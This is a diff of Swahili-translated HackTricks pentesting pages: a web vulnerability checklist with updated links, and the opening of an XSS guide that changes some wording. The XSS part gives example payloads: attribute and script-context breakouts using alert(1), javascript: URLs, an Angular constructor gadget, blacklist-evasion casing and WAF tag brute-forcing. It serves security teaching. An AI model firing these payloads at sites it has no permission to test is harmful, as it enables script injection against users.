Baadhi ya kazi zitahitaji **data kuwa na muundo maalum sana** (kama vile kitu kilichosawazishwa kwa lugha au XML). Kwa hivyo, ni rahisi kubaini ikiwa programu inaweza kuwa na udhaifu kwani inahitaji kushughulikia aina hiyo ya data.\
 | 
			
		||||
Baadhi ya kazi zitahitaji **data kuwa na muundo maalum sana** (kama vile kitu kilichosawazishwa au XML). Kwa hivyo, ni rahisi kubaini ikiwa programu inaweza kuwa na udhaifu kwani inahitaji kushughulikia aina hiyo ya data.\
 | 
			
		||||
Baadhi ya **kazi maalum** pia zinaweza kuwa na udhaifu ikiwa **muundo maalum wa ingizo unatumika** (kama vile Email Header Injections).
 | 
			
		||||
 | 
			
		||||
- [ ] [**Deserialization**](deserialization/)
 | 
			
		||||
- [ ] [**Deserialization**](deserialization/index.html)
 | 
			
		||||
- [ ] [**Email Header Injection**](email-injections.md)
 | 
			
		||||
- [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
 | 
			
		||||
- [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
 | 
			
		||||
@ -107,7 +107,7 @@ Kazi zinazoruhusu kupakia faili zinaweza kuwa na udhaifu wa masuala kadhaa.\
 | 
			
		||||
Kazi zinazozalisha faili ikiwa ni pamoja na ingizo la mtumiaji zinaweza kutekeleza msimbo usiotarajiwa.\
 | 
			
		||||
Watumiaji wanaofungua faili zilizopakiwa na watumiaji au zilizozalishwa kiotomatiki ikiwa ni pamoja na ingizo la mtumiaji wanaweza kuathirika.
 | 
			
		||||
 | 
			
		||||
- [ ] [**File Upload**](file-upload/)
 | 
			
		||||
- [ ] [**File Upload**](file-upload/index.html)
 | 
			
		||||
- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
 | 
			
		||||
- [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
 | 
			
		||||
- [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 | 
			
		||||
@ -115,7 +115,7 @@ Watumiaji wanaofungua faili zilizopakiwa na watumiaji au zilizozalishwa kiotomat
 | 
			
		||||
### **External Identity Management**
 | 
			
		||||
 | 
			
		||||
- [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
 | 
			
		||||
- [ ] [**SAML Attacks**](saml-attacks/)
 | 
			
		||||
- [ ] [**SAML Attacks**](saml-attacks/index.html)
 | 
			
		||||
 | 
			
		||||
### **Other Helpful Vulnerabilities**
 | 
			
		||||
 | 
			
		||||
@ -124,6 +124,6 @@ Udhaifu huu unaweza kusaidia kutekeleza udhaifu mwingine.
 | 
			
		||||
- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
 | 
			
		||||
- [ ] [**IDOR**](idor.md)
 | 
			
		||||
- [ ] [**Parameter Pollution**](parameter-pollution.md)
 | 
			
		||||
- [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
 | 
			
		||||
- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,16 +2,16 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na dhahiri ambazo zinaweza kuwa na udhaifu**. Chapisho hili linakusudia kuwa orodha ya kuangalia ili kuthibitisha kwamba umepitia udhaifu katika maeneo yote yanayowezekana.
 | 
			
		||||
Katika kila Web Pentest, kuna **sehemu nyingi zilizofichwa na wazi ambazo zinaweza kuwa na udhaifu**. Chapisho hili linakusudia kuwa orodha ya kuangalia ili kuthibitisha kwamba umepitia udhaifu katika maeneo yote yanayowezekana.
 | 
			
		||||
 | 
			
		||||
## Proxies
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Siku hizi **maombi ya mtandao** kwa kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kwa kawaida pia unahitaji udhaifu wa ziada katika backend.
 | 
			
		||||
> Sasa hivi **maombi ya mtandao** kwa kawaida **yanatumia** aina fulani ya **proxies za kati**, ambazo zinaweza (kutumika vibaya) kutekeleza udhaifu. Udhaifu huu unahitaji proxy yenye udhaifu kuwepo, lakini kwa kawaida pia unahitaji udhaifu wa ziada katika backend.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 | 
			
		||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
 | 
			
		||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
 | 
			
		||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
 | 
			
		||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 | 
			
		||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
 | 
			
		||||
@ -22,7 +22,7 @@ Katika kila Web Pentest, kuna **sehemu kadhaa zilizofichwa na dhahiri ambazo zin
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Maombi mengi ya mtandao yatakubali **watumiaji kuingiza data ambayo itashughulikiwa baadaye.**\
 | 
			
		||||
> Kulingana na muundo wa data ambayo server inatarajia, udhaifu fulani unaweza kutumika au kutoweza kutumika.
 | 
			
		||||
> Kulingana na muundo wa data ambayo seva inatarajia, udhaifu fulani unaweza kutumika au kutoweza kutumika.
 | 
			
		||||
 | 
			
		||||
### **Reflected Values**
 | 
			
		||||
 | 
			
		||||
@ -31,16 +31,16 @@ Ikiwa data iliyowekwa inaweza kwa namna fulani kuakisiwa katika jibu, ukurasa un
 | 
			
		||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
 | 
			
		||||
- [ ] [**Command Injection**](../command-injection.md)
 | 
			
		||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
 | 
			
		||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
 | 
			
		||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 | 
			
		||||
- [ ] [**Open Redirect**](../open-redirect.md)
 | 
			
		||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 | 
			
		||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
 | 
			
		||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
 | 
			
		||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
 | 
			
		||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
 | 
			
		||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 | 
			
		||||
- [ ] [**XSS**](../xss-cross-site-scripting/)
 | 
			
		||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
 | 
			
		||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 | 
			
		||||
- [ ] [**XS-Search**](../xs-search.md)
 | 
			
		||||
 | 
			
		||||
@ -52,13 +52,13 @@ Baadhi ya udhaifu uliotajwa unahitaji hali maalum, wengine wanahitaji tu maudhui
 | 
			
		||||
 | 
			
		||||
### **Search functionalities**
 | 
			
		||||
 | 
			
		||||
Ikiwa kazi inaweza kutumika kutafuta aina fulani ya data ndani ya backend, huenda unaweza (kutumika vibaya) kuitumia kutafuta data isiyo na mpangilio.
 | 
			
		||||
Ikiwa kazi hiyo inaweza kutumika kutafuta aina fulani ya data ndani ya backend, huenda unaweza (kutumika vibaya) kuitumia kutafuta data isiyo na mpangilio.
 | 
			
		||||
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 | 
			
		||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
 | 
			
		||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
 | 
			
		||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
 | 
			
		||||
- [ ] [**SQL Injection**](../sql-injection/)
 | 
			
		||||
- [ ] [**SQL Injection**](../sql-injection/index.html)
 | 
			
		||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
 | 
			
		||||
 | 
			
		||||
### **Forms, WebSockets and PostMsgs**
 | 
			
		||||
@ -67,25 +67,25 @@ Wakati websocket inachapisha ujumbe au fomu inayowaruhusu watumiaji kufanya vite
 | 
			
		||||
 | 
			
		||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
 | 
			
		||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
 | 
			
		||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
 | 
			
		||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
 | 
			
		||||
 | 
			
		||||
### **HTTP Headers**
 | 
			
		||||
 | 
			
		||||
Kulingana na vichwa vya HTTP vilivyotolewa na seva ya wavuti, udhaifu fulani unaweza kuwepo.
 | 
			
		||||
Kulingana na vichwa vya HTTP vilivyotolewa na seva ya mtandao, udhaifu fulani unaweza kuwepo.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Clickjacking**](../clickjacking.md)
 | 
			
		||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
 | 
			
		||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
 | 
			
		||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
 | 
			
		||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
 | 
			
		||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
 | 
			
		||||
 | 
			
		||||
### **Bypasses**
 | 
			
		||||
 | 
			
		||||
Kuna kazi kadhaa maalum ambapo njia mbadala zinaweza kuwa na manufaa kuzishinda
 | 
			
		||||
Kuna kazi kadhaa maalum ambapo njia mbadala fulani zinaweza kuwa na manufaa kuzishinda
 | 
			
		||||
 | 
			
		||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
 | 
			
		||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
 | 
			
		||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
 | 
			
		||||
- [ ] [**Login Bypass**](../login-bypass/)
 | 
			
		||||
- [ ] [**Login Bypass**](../login-bypass/index.html)
 | 
			
		||||
- [ ] [**Race Condition**](../race-condition.md)
 | 
			
		||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
 | 
			
		||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
 | 
			
		||||
@ -96,7 +96,7 @@ Kuna kazi kadhaa maalum ambapo njia mbadala zinaweza kuwa na manufaa kuzishinda
 | 
			
		||||
Baadhi ya kazi zitahitaji **data kuwa na muundo maalum sana** (kama vile kitu kilichosawazishwa kwa lugha au XML). Hivyo, ni rahisi kubaini ikiwa programu inaweza kuwa na udhaifu kwani inahitaji kushughulikia aina hiyo ya data.\
 | 
			
		||||
Baadhi ya **kazi maalum** pia zinaweza kuwa na udhaifu ikiwa **muundo maalum wa ingizo unatumika** (kama vile Email Header Injections).
 | 
			
		||||
 | 
			
		||||
- [ ] [**Deserialization**](../deserialization/)
 | 
			
		||||
- [ ] [**Deserialization**](../deserialization/index.html)
 | 
			
		||||
- [ ] [**Email Header Injection**](../email-injections.md)
 | 
			
		||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
 | 
			
		||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
 | 
			
		||||
@ -107,7 +107,7 @@ Kazi zinazoruhusu kupakia faili zinaweza kuwa na udhaifu wa masuala kadhaa.\
 | 
			
		||||
Kazi zinazozalisha faili ikiwa ni pamoja na ingizo la mtumiaji zinaweza kutekeleza msimbo usiotarajiwa.\
 | 
			
		||||
Watumiaji wanaofungua faili zilizopakiwa na watumiaji au zilizozalishwa kiotomatiki ikiwa ni pamoja na ingizo la mtumiaji wanaweza kuathirika.
 | 
			
		||||
 | 
			
		||||
- [ ] [**File Upload**](../file-upload/)
 | 
			
		||||
- [ ] [**File Upload**](../file-upload/index.html)
 | 
			
		||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
 | 
			
		||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
 | 
			
		||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 | 
			
		||||
@ -115,7 +115,7 @@ Watumiaji wanaofungua faili zilizopakiwa na watumiaji au zilizozalishwa kiotomat
 | 
			
		||||
### **External Identity Management**
 | 
			
		||||
 | 
			
		||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
 | 
			
		||||
- [ ] [**SAML Attacks**](../saml-attacks/)
 | 
			
		||||
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
 | 
			
		||||
 | 
			
		||||
### **Other Helpful Vulnerabilities**
 | 
			
		||||
 | 
			
		||||
@ -124,6 +124,6 @@ Udhaifu huu unaweza kusaidia kutekeleza udhaifu mwingine.
 | 
			
		||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
 | 
			
		||||
- [ ] [**IDOR**](../idor.md)
 | 
			
		||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
 | 
			
		||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
 | 
			
		||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -11,7 +11,7 @@
 | 
			
		||||
2. Je, unaweza kutumia matukio au sifa zinazounga mkono `javascript:` protokali?
 | 
			
		||||
3. Je, unaweza kupita ulinzi?
 | 
			
		||||
4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md).
 | 
			
		||||
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
 | 
			
		||||
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
 | 
			
		||||
2. Ndani ya **HTML tag**:
 | 
			
		||||
1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
 | 
			
		||||
2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
 | 
			
		||||
@ -27,7 +27,7 @@
 | 
			
		||||
4. Ikiwa **inatumiwa**:
 | 
			
		||||
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
 | 
			
		||||
 | 
			
		||||
Unapofanya kazi kwenye XSS ngumu unaweza kupata ni muhimu kujua kuhusu:
 | 
			
		||||
Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
debugging-client-side-js.md
 | 
			
		||||
@ -56,10 +56,10 @@ Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
 | 
			
		||||
 | 
			
		||||
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
 | 
			
		||||
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
 | 
			
		||||
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia `javascript:` protokali kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
 | 
			
		||||
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="**
 | 
			
		||||
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
 | 
			
		||||
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
 | 
			
		||||
 | 
			
		||||
Mfano wa ajabu wa Angular kutekeleza XSS ikiwa unadhibiti jina la darasa:
 | 
			
		||||
Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
 | 
			
		||||
```html
 | 
			
		||||
<div ng-app>
 | 
			
		||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 | 
			
		||||
@ -67,15 +67,15 @@ Mfano wa ajabu wa Angular kutekeleza XSS ikiwa unadhibiti jina la darasa:
 | 
			
		||||
```
 | 
			
		||||
### Ndani ya msimbo wa JavaScript
 | 
			
		||||
 | 
			
		||||
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
 | 
			
		||||
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** vitambulisho vya ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
 | 
			
		||||
 | 
			
		||||
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
 | 
			
		||||
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kufanya** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
 | 
			
		||||
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** vitambulisho, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua vitambulisho vya HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba vitambulisho vyako vilivyoingizwa `</script>` viko ndani ya msimbo wa HTML.
 | 
			
		||||
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kufanya** kazi yako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
 | 
			
		||||
- `'-alert(1)-'`
 | 
			
		||||
- `';-alert(1)//`
 | 
			
		||||
- `\';alert(1)//`
 | 
			
		||||
- Ikiwa inarejelewa ndani ya template literals unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
 | 
			
		||||
- **Unicode encode** inafanya kazi kuandika **msimbo sahihi wa javascript**:
 | 
			
		||||
- Ikiwa inarejelewa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
 | 
			
		||||
- **Unicode encode** inafanya kazi kuandika **msimbo halali wa javascript**:
 | 
			
		||||
```javascript
 | 
			
		||||
alert(1)
 | 
			
		||||
alert(1)
 | 
			
		||||
@ -100,7 +100,7 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
 | 
			
		||||
 | 
			
		||||
Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini (**`[\w\._]`**).
 | 
			
		||||
 | 
			
		||||
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**:
 | 
			
		||||
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengele chochote katika DOM**:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -114,7 +114,7 @@ parentElement
 | 
			
		||||
```
 | 
			
		||||
Unaweza pia kujaribu **kuanzisha kazi za Javascript** moja kwa moja: `obj.sales.delOrders`.
 | 
			
		||||
 | 
			
		||||
Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho bila DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
 | 
			
		||||
Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoashiriwa ni mwisho bila DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
 | 
			
		||||
 | 
			
		||||
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** utekaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
 | 
			
		||||
 | 
			
		||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
 | 
			
		||||
 | 
			
		||||
### DOM
 | 
			
		||||
 | 
			
		||||
Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka.
 | 
			
		||||
Kuna **kod JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kod JS isiyo na mipaka.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
dom-xss.md
 | 
			
		||||
@ -149,7 +149,7 @@ server-side-xss-dynamic-pdf.md
 | 
			
		||||
 | 
			
		||||
## Kuingiza ndani ya HTML safi
 | 
			
		||||
 | 
			
		||||
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho ndipo utaweza kutumia kesi hii**.\
 | 
			
		||||
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kod ya HTML katika muktadha huu, **jambo** la kwanza unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
 | 
			
		||||
Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 | 
			
		||||
&#xNAN;_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*au \*\*\*\*\*\***`--!>`\*\**_
 | 
			
		||||
 | 
			
		||||
@ -166,7 +166,7 @@ Mara tu umepata **tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attribu
 | 
			
		||||
 | 
			
		||||
### Tags/Events kujaribu nguvu
 | 
			
		||||
 | 
			
		||||
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote haikugunduliwa kama mbaya na WAF. Mara tu unapogundua tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
 | 
			
		||||
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote ambayo haikugunduliwa kama mbaya na WAF. Mara tu unapogundua tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
 | 
			
		||||
 | 
			
		||||
### Tags za kawaida
 | 
			
		||||
 | 
			
		||||
@ -176,7 +176,7 @@ Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** n
 | 
			
		||||
```
 | 
			
		||||
### Blacklist Bypasses
 | 
			
		||||
 | 
			
		||||
Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa hila za kipumbavu:
 | 
			
		||||
Ikiwa aina fulani ya blacklist inatumika, unaweza kujaribu kuipita kwa mbinu za kipumbavu:
 | 
			
		||||
```javascript
 | 
			
		||||
//Random capitalization
 | 
			
		||||
<script> --> <ScrIpT>
 | 
			
		||||
@ -243,7 +243,7 @@ Ikiwa ili kutumia udhaifu huo unahitaji **mtumiaji kubonyeza kiungo au fomu** ye
 | 
			
		||||
 | 
			
		||||
### Impossible - Dangling Markup
 | 
			
		||||
 | 
			
		||||
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kwa sababu unaweza **kutumia** udhaifu huo **bila** kutekeleza **msimbo wa JS**.
 | 
			
		||||
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) kwa sababu unaweza **kutumia** udhaifu huo **bila** kutekeleza **msimbo wa JS**.
 | 
			
		||||
 | 
			
		||||
## Injecting inside HTML tag
 | 
			
		||||
 | 
			
		||||
@ -267,12 +267,12 @@ Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
 | 
			
		||||
```
 | 
			
		||||
### Ndani ya sifa
 | 
			
		||||
 | 
			
		||||
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
 | 
			
		||||
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
 | 
			
		||||
